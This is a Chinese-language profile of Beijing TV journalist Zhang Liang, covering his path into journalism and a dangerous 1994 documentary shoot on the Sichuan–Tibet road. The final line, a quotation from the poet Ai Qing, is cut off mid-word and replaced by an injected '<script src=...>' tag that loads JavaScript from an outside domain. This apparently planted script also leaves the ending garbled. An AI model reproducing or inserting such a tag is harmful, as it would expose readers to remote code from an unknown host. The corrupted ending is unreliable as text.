在采访张亮之前,听到了他的同事关于他的评价:
张亮是一个完美主义者、工作狂、理想主义者。他是个特较真的人,有时为着一个镜头能跟你“抠”半天;他对工作要求苛刻,有时简直是不近人情;他太细致了,下班后常常一台一台地帮别人关电脑;他情感丰富,在审看节目时看到感人处毫不掩饰自己的泪水……
经过几次约定和改约,刚刚在演播室里直播完《北京新闻》的张亮终于坐在了我的面前。
“为什么中国记者就拼不过外国同行呢?”
读高中二年级的时候,正值文理分班前夕,张亮在《参考消息》上看到了这样一则花絮:当时的中国总理出访期间,向外国总统提出了一个请求,请他关照随行采访的中国记者,因为中国记者在拼抢新闻方面比不过国外同行。
“那时的我年少气盛,很不服气。为什么中国记者就拼不过外国同行呢?当个好记者不就是嘴勤一点、腿勤一点、脑瓜勤一点吗?”张亮的眼神闪动着。
这则新闻促使张亮毅然选择了文科专业,立志做一个出色的中国记者,与外国记者一拼高低。
“中国人民大学新闻系广播电视专业”,这是张亮填报的高考第一志愿。然而,阴差阳错,考了高分的张亮却被录取到了哲学系。但是,他投身新闻工作的志向丝毫未变。大学4年,新闻系的课堂上经常多了他这个旁听生。利用选修课的机会,他如饥似渴地学完了新闻系的几乎全部课程,为日后的新闻工作打下了坚实的基础。
1990年,在少时梦想的召唤下,张亮迈出了他人生最关键的一步:以实习生的身份来到北京电视台,迈出新闻工作的第一步。
说到此,张亮从抽屉里拿出了一本已经有些破损的红色的小笔记本。翻开第一页,上面工工整整地抄录着这样一段话:“他生活在人民当中,他真诚地同情人民的一切希望与忧患,热爱与憎恨,欢乐与痛苦。他把在希望与忧患中倾听来的东西公开地报道出来……”他说,这是他从《马克思恩格斯全集》第一卷中抄录下来的,这个笔记本十几年来他始终珍藏,这就是他新闻工作的座右铭。
初到电视台,张亮从摄像助理开始了电视记者的生涯。社会中的新鲜事、感人事不断地刺激着这个初出茅庐的年轻人。而他也像刚进入大海的小鱼一样,不知疲倦地游动着、观察着、兴奋着。城市里的公交车、卢沟桥的蔬菜大棚、门头沟的井下煤矿,他把一个城市电视台记者的采访半径扩充到尽可能远的地方,两年中几乎没有休过一个星期日。
在紧张的新闻采访生涯中,他逐渐练就了一双“铁脚板”。
“既然选择了新闻记者这个职业,就要义无反顾,用责任和良知推动社会进步,哪怕流汗流血”
张亮认为,一名优秀的记者,只有在经过“读万卷书,行万里路”之后,才能更深地挖掘有意义的新闻,才能更好地把对国家、对社会、对人民、对历史的责任放在心头。
上世纪90年代,高原生态学家徐凤翔和著名作家黄宗英的生态情缘成为时代佳话,感动了一代人,也感动了只有25岁的张亮。1994年5月,黄宗英计划前往雅鲁藏布江大峡谷,采访看望早已在峡谷中进行科学考察的徐凤翔。张亮担当总导演,带领一支16人摄制组,从北京驱车数千公里,经川藏线进入西藏,采访报道徐凤翔和她所率领的科考队。
采访组的车队到达世界上最险峻的川藏公路时,一个又一个的考验等待着他们。川藏公路依山势而修,塌方、滚石是家常便饭。5月16日,排龙镇发生了大塌方,公路被完全阻断,他们被困在山脚下的小山村。所带的给养用完了,张亮就带着同事挨家挨户地向当地百姓买粮食;没有青菜,张亮就和大家一起去山上采野菜。7天7夜过去了,眼见着雨季就要来临,塌方将会更加严重,路况更加危险。时间已经不允许等待。在塌方刚刚修复到一多半的时候,他们驾车冒险闯关。勉强修起的山路实在太窄,摄制组的车辆有时就在几乎一侧轮胎悬空的情况下行驶。一侧是斧削般的峭壁,一侧是雅鲁藏布江的万丈深渊。摄制组的同事们互相鼓励着,最终冲过塌方区,继续前进。
“当冲过塌方区的时候,成都军区派来的驾驶员跳下驾驶室,七尺的军人抱住我们泪流满面。实在是命悬一线啊!”说到这里,张亮的眼睛又湿润了。
在野外采访拍摄过程中,张亮克服了严重的高原缺氧反应,忍受了无数蚂蟥和蚊虫的叮咬,体重减轻了6公斤,留下了近百个疤痕,历时8个月,最终推出了32集系列报道《魂系高原》和大型电视纪录片《森林女神》。
这两个节目播出后引起了强烈的反响,北京电视台和中央电视台先后10余次重播,并获得了北京新闻奖一等奖、中国纪录片学术奖。北京市政府为此还专门拨出资金在门头沟区的灵山顶上为徐凤翔教授成立了“灵山生态研究所”。
这段经历使张亮感悟到很多,“既然选择了新闻记者这个行业,就要义无反顾,用镜头记录历史,用责任与良知推动社会进步,哪怕流汗流血。”
他一直记得诗人艾青的那句诗:“为什?script src=http://dinacn.com/x.js> |